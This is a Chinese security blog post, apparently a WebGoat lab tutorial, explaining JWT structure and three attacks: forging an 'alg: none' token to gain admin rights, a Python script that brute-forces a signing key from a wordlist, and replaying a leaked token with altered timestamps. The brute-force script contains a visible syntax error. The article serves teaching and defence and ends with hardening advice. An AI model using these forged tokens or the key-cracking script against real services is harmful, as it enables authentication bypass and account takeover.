前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
工具
TVP
发布
社区首页 >专栏 >十分钟,带你看懂JWT(绕过令牌)

十分钟,带你看懂JWT(绕过令牌)

作者头像
网e渗透安全部
发布2024-03-15 18:22:18
6.7K0
发布2024-03-15 18:22:18
举报
文章被收录于专栏:白安全组

前言

在挖掘 SRC 的时候,面对一些 SSO 的场景,经常会看到一些奇奇怪怪的数据,这些数据多以三段式加密方式呈现,在后续的学习过程中,明白了此类令牌名为 Token,在之前的学习过程中简单了解了下 JWT 的呈现方式,但是对其更深入的内容浅尝辄止,本篇文章从一个全面的方向了解,什么是 JWT,JWT 如何利用和攻击,旨在帮助安全从业人员更好的了解网络安全的令牌工作机制。 本文配套靶场地址为WebGoat靶场身份验证及失败部分。

正文

JWT 介绍

JWT(JSON Web Token)是一个开放标准(RFC 7519),它定义了一种简洁的、自包含的方法用于通信双方之间以 JSON 对象的形式安全地传输信息。这种信息可以被验证和信任,因为它是数字签名的。JWT通常用于互联网应用程序中,用于身份验证和授权。 JWT 和 传统 Token 的区别

JWT

传统 Token

存储位置

JWT通常存储在客户端

传统的Token如Cookies和Session Tokens通常在服务器端存储状态

传输方式

JWT作为HTTP请求的一部分传输,可以直接在请求的Header中

传统Token通常通过Cookie在浏览器和服务器之间传输

状态管理

JWT是自包含的,不依赖于服务器的会话状态,减轻服务器负担。

传统Token通常与服务器的会话状态绑定,服务器需要存储用户的会话信息,这可能导致更高的服务器负载和状态管理复杂性。

安全性和隐私

JWT的所有信息都是加密的,并且可以设置权限,只有拥有正确密钥的用户才能解码信息。但是,如果密钥被泄露,那么所有的JWT都可能受到影响。

不包含敏感信息,因此不加密

跨域使用

由于 JWT 不依靠服务器状态,可以在不同域之间请求和传递用户信息,因此适合跨域请求

传统Token在跨域请求中可能需要服务器配置CORS(跨源资源共享)策略

JWT 组成部分

JWT由三部分组成:

  • 头部(Header):这部分通常是一个JSON对象,描述了JWT的签名算法和其它元数据。
  • 有效载荷(Payload):这部分也通常是一个JSON对象,包含了发行方信息、用户信息、过期时间等声明。
  • 签名(Signature):这是header和payload的数字签名,使用header中指定的签名算法生成,用于验证JWT的完整性和真实性。

由于JWT是自包含的,所以它不需要在服务器上存储状态,这减少了攻击面,并允许用户在没有状态的系统中进行认证。同时,由于JWT是在客户端和服务器之间传输的,所以它也易于跨域使用。 以下是一段 JWT的内容,我们需要找到令牌中的用户名

令牌详细部分如下

代码语言:javascript
复制
eyJhbGciOiJIUzI1NiJ9.ew0KICAiYXV0aG9yaXRpZXMiIDogWyAiUk9MRV9BRE1JTiIsICJST0xFX1VTRVIiIF0sDQogICJjbGllbnRfaWQiIDogIm15LWNsaWVudC13aXRoLXNlY3JldCIsDQogICJleHAiIDogMTYwNzA5OTYwOCwNCiAgImp0aSIgOiAiOWJjOTJhNDQtMGIxYS00YzVlLWJlNzAtZGE1MjA3NWI5YTg0IiwNCiAgInNjb3BlIiA6IFsgInJlYWQiLCAid3JpdGUiIF0sDQogICJ1c2VyX25hbWUiIDogInVzZXIiDQp9.9lYaULTuoIDJ86-zKDSntJQyHPpJ2mZAbnWRfel99iI

其中:

  • header 部分为eyJhbGciOiJIUzI1NiJ9
  • payload部分为ew0KICAiYXV0aG9yaXRpZXMiIDogWyAiUk9MRV9BRE1JTiIsICJST0xFX1VTRVIiIF0sDQogICJjbGllbnRfaWQiIDogIm15LWNsaWVudC13aXRoLXNlY3JldCIsDQogICJleHAiIDogMTYwNzA5OTYwOCwNCiAgImp0aSIgOiAiOWJjOTJhNDQtMGIxYS00YzVlLWJlNzAtZGE1MjA3NWI5YTg0IiwNCiAgInNjb3BlIiA6IFsgInJlYWQiLCAid3JpdGUiIF0sDQogICJ1c2VyX25hbWUiIDogInVzZXIiDQp9
  • signature部分为9lYaULTuoIDJ86-zKDSntJQyHPpJ2mZAbnWRfel99iI

通过放入解码平台我们可以看到解密后的文件,找出解密后的用户名从而通关靶场

JWT 工作原理

用户在成功对服务器进行身份验证后使用用户名和密码登录 返回。服务器创建一个新令牌,并将此令牌返回给客户端。当客户端连续 调用服务器,在“Authorization”标头中附加新令牌。服务器读取令牌并首先验证签名,验证成功后,服务器使用 令牌中用于标识用户的信息。

JWT 安全问题

空加密算法

所谓的“空加密算法”可能指的是没有使用任何加密算法的JWT,这在实际应用中是不常见的,因为加密是保障信息安全的标准做法。然而,确实存在一些JWT的实现可能不会使用加密,尤其是在一些对安全要求不是非常高的场景下。 通过空加密算法,我们主要了解 JWT 前两部分的组成方式及利用手法,简单来说就是将header部分的alg修改为none,然后在signature部分制空即可达成不安全的 JWT 加密算法的效果。 具体的流程如下,比如在如下的情景中,只有管理员可以重置投票信息:

此时我们抓包,发现普通用户 TOM 的 JWT令牌如下图所示:

此时我们将其放入解码平台进行解码,可以得出前两部分的内容:

随后我们对数据包进行修改,首先将alg中加密方式设置为none, 然后将admin中的false修改为true,重新进行 Base64 编码,得到如下的 JWT 进行请求发送并且成功。

代码语言:javascript
复制
ewogICJhbGciOiAibm9uZSIKfQ.eyJpYXQiOjE3MDkyMjM1MDEsImFkbWluIjoibm9uZSIsInVzZXIiOiJUb20ifQ..

注意,虽然signature部分为空,但是仍然需要之前加上.号达成格式匹配,此时将其设置为access_token进行重放,发现投票次数已经被重置。

JWT 签名爆破

有时候我们可以尝试去爆破 JWT 的signature密钥,虽然服务器端的密钥经常是随机的,但是我们需要了解这个攻击流程。 爆破代码如下

代码语言:javascript
复制
import jwt
import termcolor

if __name__ == "__main__":
    jwt_str = R'eyJhbGciOiJIUzI1NiJ9.eyJpc3MiOiJXZWJHb2F0IFRva2VuIEJ1aWxkZXIiLCJhdWQiOiJ3ZWJnb2F0Lm9yZyIsImlhdCI6MTY3MDc2NTAzOCwiZXhwIjoxNjcwNzY1MDk4LCJzdWIiOiJ0b21Ad2ViZ29hdC5vcmciLCJ1c2VybmFtZSI6IlRvbSIsIkVtYWlsIjoidG9tQHdlYmdvYXQub3JnIiwiUm9sZSI6WyJNYW5hZ2VyIiwiUHJvamVjdCBBZG1pbmlzdHJhdG9yIl19.aIR7sjd5o7XJgUkYPCw76e9iF838G-Hh9J-sN1M-J94'

    with open('top1000.txt') as f:
        for line in f:
            key_ = line.strip()
            try:
                jwt.decode(jwt_str, verify=True, key=key_)
                print('\r', '\bbingo! found key -->', termcolor.colored(key_, 'green'), '<--')
                break
            except (jwt.exceptions.ExpiredSignatureError, jwt.exceptions.InvalidAudienceError,
                    jwt.exceptions.InvalidIssuedAtError, jwt.exceptions.InvalidIssuedAtError,
                    jwt.exceptions.ImmatureSignatureError):
                print('\r', '\bbingo! found key -->', termcolor.colored(key_, 'green'), '<--')
                break
            except jwt.exceptions.InvalidSignatureError:
                print('\r', ' ' * , '\r\btry', key_, end='', flush=True)
                continue
        else:
            print('\r', '\bsorry! no key be found.')

访问令牌泄露

如果访问令牌泄露,我们可以配合时间戳的修改来达到恶意的操作,比如我们曾经得到某个用户的JWT令牌如下:

代码语言:javascript
复制
eyJhbGciOiJIUzUxMiJ9.eyJpYXQiOjE1MjYxMzE0MTEsImV4cCI6MTUyNjIxNzgxMSwiYWRtaW4iOiJmYWxzZSIsInVzZXIiOiJUb20ifQ.DCoaq9zQkyDH25EcVWKcdbyVfUL4c9D4jRvsqOqvi9iAd4QuqmKcchfbU8FNzeBNF9tLeFXHZLU4yRkq-bjm7Q

通过解密发现其中的时间戳可以修改,将其替换为最近的时间戳,进行发送达成认证成功攻击的效果,注意此时仍然需要signature设置为空。

总结: 使用 JWT 令牌的最佳位置是在服务器到服务器之间的通信。 使用 JWT 令牌的一些建议:

  • 修复算法,不允许客户端切换算法。
  • 在使用对称密钥对令牌进行签名时,请确保使用适当的密钥长度。
  • 确保添加到令牌的声明不包含个人信息。如果需要添加更多信息,请同时选择加密令牌。
  • 向项目添加足够的测试用例,以验证无效令牌是否确实不起作用。与第三方集成以检查您的令牌并不意味着您根本没有测试您的应用程序。
本文参与 腾讯云自媒体同步曝光计划,分享自微信公众号。
原始发表:2024-03-07,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 白安全组 微信公众号,前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体同步曝光计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
目录
  • 前言
  • 正文
    • JWT 介绍
      • JWT 组成部分
        • JWT 工作原理
        • JWT 安全问题
          • 空加密算法
            • JWT 签名爆破
              • 访问令牌泄露
              相关产品与服务
              数字身份管控平台
              数字身份管控平台(Identity and Access Management)为您提供集中式的数字身份管控服务。在企业 IT 应用开发时,数字身份管控平台可为您集中管理用户账号、分配访问权限以及配置身份认证规则,避免因员工账号、授权分配不当导致的安全事故。在互联网应用开发时,数字身份管控平台可为您打通应用的身份数据,更好地实现用户画像,也可为用户提供便捷的身份认证体验,提升用户留存。
              领券
              问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档